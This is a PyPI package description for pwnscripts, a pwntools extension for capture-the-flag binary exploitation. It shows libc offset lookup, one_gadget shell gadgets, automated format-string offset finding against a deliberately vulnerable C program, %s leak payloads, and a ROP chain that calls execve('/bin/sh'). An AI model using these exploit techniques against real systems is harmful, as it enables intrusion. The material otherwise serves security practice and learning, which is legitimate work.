Package: pwnscripts
pwnscripts (0.6.0)Very simple script(s) to hasten binary exploit creation. To use,pip install pwnscriptsOR rungitclonehttps://github.com/152334H/pwnscriptscdpwnscripts
pipinstall-e.and replacefrom pwn import *withfrom pwnscripts import *, e.g.frompwnscriptsimport*context.binary='./my_challenge'...Additionally, thelibc_database()extension of pwnscripts requires thelibc-database.You might want to look at some of the examples inuser_tests_and_examples.py.FeaturesPwnscripts has a number of different features.LibcThings likeLibcSearcherhave always felt incomplete.Pwnscripts provides two libc classes:libc()andlibc_database(). The easiest way to start with both is withcontext:context.libc_database='/path/to/libc-database'# https://github.com/niklasb/libc-databasecontext.libc='/path/to/pwnscripts/examples/libc.so.6'Anything you can run with./libc-database/[executable]is available as alibc_database()method:>>>context.libc_database.dump('libc6_2.27-3ubuntu1_amd64')b'offset___libc_start_main_ret = 0x21b97\noffset_system = 0x000000000004f440\noffset_dup2 = 0x00000000001109a0\noffset_read = 0x0000000000110070\noffset_write = 0x0000000000110140\noffset_str_bin_sh = 0x1b3e9a\n'>>>output=context.libc_database.add()>>>print(output.decode())Addinglocallibc/path/to/pwnscripts/examples/libc.so.6(idlocal-18292bd12d37bfaf58e8dded9db7f1f5da1192cb/path/to/pwnscripts/examples/libc.so.6)->Writinglibc/path/to/pwnscripts/examples/libc.so.6todb/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so->Writingsymbolstodb/local-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.symbols->Writingversioninfolibc_database()also has a few additional methods; you can look at thetestsandexamplesand documentation to see.Thelibc()object is a subclass of pwntools'pwnlib.elf.elf.ELF(). It starts off with a base address of0, but you can change that to match a remote executable by providing it with leaked addresses:>>>context.libc.symbols['scanf']=0x7fffa3b8b040# Provide a leaked address to libc>>>context.libc.address# This is automagically updated after assignment0x7fffa3b10000>>>context.libc.symbols['str_bin_sh']# Symbols from libc-database are stored in context.libc0x7fffa3cc3e9apwnscriptsis smart aboutcontext.binary: ifcontext.libcis set,context.binary.process()will run with that libc version:$gcc-xc-<<<'int main(){printf("%p\n", printf);}'$python3.8
>>>frompwnscriptsimport*
>>>context.log_level='warn'>>>context.libc_database='libc-database'>>>context.binary='./a.out'>>>context.libc='libc6_2.31-0ubuntu9_amd64'>>>context.binary.process().recvline()b'0x7fa0f3c3fe10\n'# printf 0000000000064e10>>>context.libc='libc6_2.24-11+deb9u4_amd64'>>>context.binary.process().recvline()b'0x7fb99b69e190\n'# printf 000000000004f190libc()providesone_gadgetintegration in the form of an interactive selection:>>>context.libc.select_gadget()0x4f2c5execve("/bin/sh",rsp+0x40,environ)constraints:rsp&0xf==0rcx==NULL0x4f322execve("/bin/sh",rsp+0x40,environ)constraints:[rsp+0x40]==NULL0x10a38cexecve("/bin/sh",rsp+0x70,environ)constraints:[rsp+0x70]==NULL[?]choosethegadgettouse:1)0x4f2c52)0x4f3223)0x10a38cChoiceYou're free to shut up the interactive menu by giving.select_gadget()an argument:>>>context.libc.select_gadget(1)0x4f322More features exist, but this is already too long.Format string exploitationprintf()challenges are repetitive. Under thefsbmodule,pwnscriptsmakes an attempt to further abstract the process ofprintf()exploitation.Consider this simple program://usr/bin/gcc -pie -fstack-protector-all -z,relro,-z,now "$0" -o test.o; exitintmain(){chars[200];fgets(s,199,stdin);printf(s);// leakergets(s+200);// overflow}Let's further assume that you've decided to exploit this by returning to libc with the buffer overflow present.printf()can leak the runtime values of thestack canary&&libc page, but only after figuring out the specific stack offset (i.e. figuring outmfor%m$p) for both of those values.Similar to theFmtStr()class in pwntools, we'll start by setting up a python function to abstract away the i/o associated with this challenge in particular:>>>@context.quiet...defprintf(line:str)->bytes:...r=context.binary.process()...r.send(line)...returnr.recvline()# return the output of printf()With this function, We can automate the process of offset identification withfsb.leak_offset:>>>context.binary='./test.o'>>>context.log_level='debug'# demonstration>>>canary_offset=fsb.find_offset.canary(printf)[DEBUG]cacheisat~/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default[DEBUG]pwnscripts:extracted0x7c[DEBUG]pwnscripts:extracted0x4141414141414141...(omittedlog)...[DEBUG]pwnscripts:extracted0xcd088451e013aa00[*]pwnscripts.fsb.find_offsetfor'canary':31With the canary found, we can move on to leaking libc. Since__libc_start_main_retis located immediately after the canary in the stack, theprintf()cache maintained byfsb.find_offsetwill speed things up immensely:>>>context.libc_database='../libc-database'# replace with yours>>>libc=libc('/lib/x86_64-linux-gnu/libc.so.6')# ibid>>>libc_offset=fsb.find_offset.libc(printf,...offset=libc.symbols['__libc_start_main_ret']&0xfff)# Specify that we're looking for a value matching __l_s_m_r[DEBUG]cacheisat/home/throwaway/.cache/.pwntools-cache-3.8/fsb-cache/07e93d243fc1a7d88432cfb25bdc8bbb7b65fcabd6bb96ccea9c1ad027f2039f-default(cached)[DEBUG]pwnscripts:extracted0x7c(cached)[DEBUG]pwnscripts:extracted0x4141414141414141...(omittedcachelog)...(cached)[DEBUG]pwnscripts:extracted0x3ad0d999e654b800[DEBUG]pwnscripts:extracted0x0[DEBUG]pwnscripts:extracted0x7f17857870b3[*]pwnscripts.fsb.find_offsetfor'libc':33More examples can be foundhereandhere.Apart from offset bruteforcing,pwnscripts.fsbalso contains a.leaksubmodule to make leaking values with%smore programmatic.The simple idea is that you get a payload to leak printf values:offset=fsb.find_offset.buffer(...)# == 6payload=fsb.leak.deref_payload(offset,[0x400123,0x600123])print(payload)# b'^^%10$s||%11$s$$#\x01@\x00#\x01`\x00'And after sending the payload, extract the values with a helper function:r=remote(...)r.sendline(payload)print(fsb.leak.deref_extractor(r.recvline()))# [b'\x80N\x03p\x94\x7f', b' \xeb\x04p\x94\x7f']Minor featuresPwnscripts also comes with a few minor extensions and functions:util: utility functions absent from pwntools. Some of the more useful things:is_addris an object you can use to check for specific address types. e.g.>>>context.arch='amd64'>>>is_addr.PIE(0x55f83ba1034d)True>>>is_addr.stack(0xba081240a911)False>>>is_addr.libc(0x7fba912bd93d)TrueThese functions are heuristic-based: they don't guarantee correctness, but tend to hit the mark nonetheless.unpack_*: Better unpacking functions. Some examples:>>>unpack_many_hex(b'jfawoa0x1234aokfw 0x123')[0x1234a,0x123]>>>unpack_bytes(b'\x12\x34\x56\x78\x90\xab\xcd\xef',6)0xab9078563412rop.py: an extension of pwntools'pwnlib.rop.rop.ROP. Core feature is to simplify ROP building outside of SIGROP:>>>context.arch='amd64'>>>r=ROP('./binary')>>>r.system_call.execve(['/bin/sh',0,0])>>>print(r.dump())0x0000:0x44a309poprdx;poprsi;ret0x0008:0x0[arg3]rdx=00x0010:0x0[arg2]rsi=00x0018:0x41e4afpoprax;ret0x0020:0x3b[arg0]rax=SYS_execve0x0028:0x401696poprdi;ret0x0030:0x40[arg1]rdi=AppendedArgument(['/bin/sh'],0x0)0x0038:0x4022b4SYS_execve0x0040:b'/bin/sh\x00'As was implicit in prior sections,contexthas been expanded with a number of extra attributes:.libcand.libc_database, which are useful for everything mentionedabove.is_local, to check if the most recently opened pwntoolstubeis a remote/local processother unlisted features in developmentProper examples forpwnscriptsare available inexamples/anduser_tests_and_examples.py.I tried using it; it doesn't work!File in anissue, if you can. With a single-digit userbase, it's hard to guess what might go wrong, but potentially:pwnscripts is brokenPython is outdated (try python3.8+)libc-database is not properly installed/initialised (did you run ./get?)The binary provided is neither i386 or amd64; other architectures are mostly ignored (out of necessity)The challenge is amd64, butcontext.archwasn't set toamd64Setcontext.binaryappropriately, or setcontext.archmanually if no binary is givenOther unknown reasons. Try making a pull-request if you're interested.UpdatesSeeCHANGELOG.md.Although version numbers follow theSemantic Versioningformat, backwards compatibility is never assured; historicalpwnscriptsbehaviour will be broken where appropriate.Gradual updates expected as I continue to do pwn.